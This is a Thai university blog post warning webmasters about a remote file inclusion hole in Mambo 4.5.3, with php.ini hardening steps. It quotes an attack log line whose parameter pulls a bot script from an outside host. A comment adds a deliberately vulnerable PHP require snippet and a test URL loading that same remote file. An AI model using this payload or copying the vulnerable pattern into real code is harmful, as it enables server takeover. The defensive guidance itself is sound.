นโยบายการจัดการความรู้ มหาวิทยาลัยสงขลานครินทร์ 1.ให้ใช้เครื่องมือการจัดการความรู้ผลักดัน คุณภาพคน และกระบวนทำงาน 2.ส่งเสริมการแลกเปลี่ยนประสบการณ์การทำงาน จากหน้างาน 3.ส่งเสริมให้มีเวทีเรียนรู้ร่วมกัน
อ่าน: 2700
ความเห็น: 3

Mambo ทั้งหมดตกอยู่ในอันตราย !!!! [C]

Mambo ทั้งหมดตกอยู่ในอันตราย !!!!

ถึง ผู้ดูแล Website ทั้งมหาวิทยาลัย ที่ใช้ Mambo และฝากเตือนทุกๆ web ที่ใช้ PHP

พบช่องโหว่บน Mambo แม้จะเป็น 4.5.3 ที่ patch แล้วก็ตาม ก็สามารถโดน hack ได้

วิธีการตรวจสอบ

ให้ตรวจดู /var/log/httpd/access_log (บน CentOS) ตรวจหา mosConfig_absolute_path=http:// โดยใช้คำสั่ง

grep mosConfig_absolute_path /var/log/httpd/access_log

หากพบการบุกรุก จะได้ log หน้าตาประมาณนี้

41.219.247.168 - - [18/Jan/2010:18:23:38 +0700] "POST /~julaluck.t/index2.php?option=com_content&do_pdf=1&id=33/index.php?option=com_virtuemart&page=shop.browse&category_id=&keyword=&manufacturer_id=&Itemid=&mosConfig_absolute_path=http://www.jesusville.co.kr/bots/mayer.txt?? HTTP/1.0" 200 13089

หาก Hacker บุกรุกได้ มันจะเอาไฟล์จากที่อื่น มาทำงานบนเครื่องของเรา อย่างเบาะๆ ก็คือเข้ามาใช้ webserver ของเรา เป็นที่ส่ง spam หรือจดหมายขยะ อย่างตัวอย่างภาพนี้

 

 และถ้าเลวร้ายไปกว่านั้น ก็สามารถเข้ามา สร้าง ลบ แก้ไข ไฟล์ในเครื่องเราได้ (เท่าที่ permission ของ apache จะไปถึง) อย่างที่โดนมาแล้ว ในภาพนี้

 

และอันนี้

 

 

จึงขอให้ผู้ดูแลระบบทุกท่าน ดำเนินการแก้ไขตามนี้

แก้ไข /etc/php.ini

     register_globals = Off

     allow_url_fopen = Off

    disable_functions =   exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

จากนั้นให้ restart apache

กรุณาอ่านข้อมูลเพิ่มเติมที่นี่

http://en.wikipedia.org/wiki/Remote_File_Inclusion 

หมวดหมู่บันทึก: เรื่องทั่วไป
คำสำคัญ (keywords): hack  mambo  php
สัญญาอนุญาต: สงวนสิทธิ์ทุกประการ Copyright
สร้าง: 19 มกราคม 2553 13:26 แก้ไข: 19 มกราคม 2553 13:51 [ แจ้งไม่เหมาะสม ]
ดอกไม้
สมาชิกที่ให้กำลังใจ
 
Facebook
Twitter
Google

บันทึกอื่นๆ

ความเห็น

Joomla ไม่ต้องแก้ ถูกต้องมั้ยครับ?

หึ หึ

ลองสร้างไฟล์ ชื่อ danger.php

เอาโค๊ดนี้ไปใส่

<?php
   $color = 'blue';
   if (isset( $_GET['COLOR'] ) )
      $color = $_GET['COLOR'];
   require( $color . '.php' );
?>

แล้วเรียก (สมมุติ ไฟล์อยู่ที่ Document Root)

http://your.server.name/danger.php?COLOR=http://www.jesusville.co.kr/bots/mayer.txt??

ดูสิครับ แล้วจะเข้าใจ

คือ ถ้ามีการเขียน Code ที่มีการ require อย่างข้างบน โดยรับค่าผ่านตัวแปลมาได้อย่างที่เห็น ก็เป็นช่องโหว่หมดครับ

คุณต้องทำการเข้าระบบก่อนแสดงความเห็น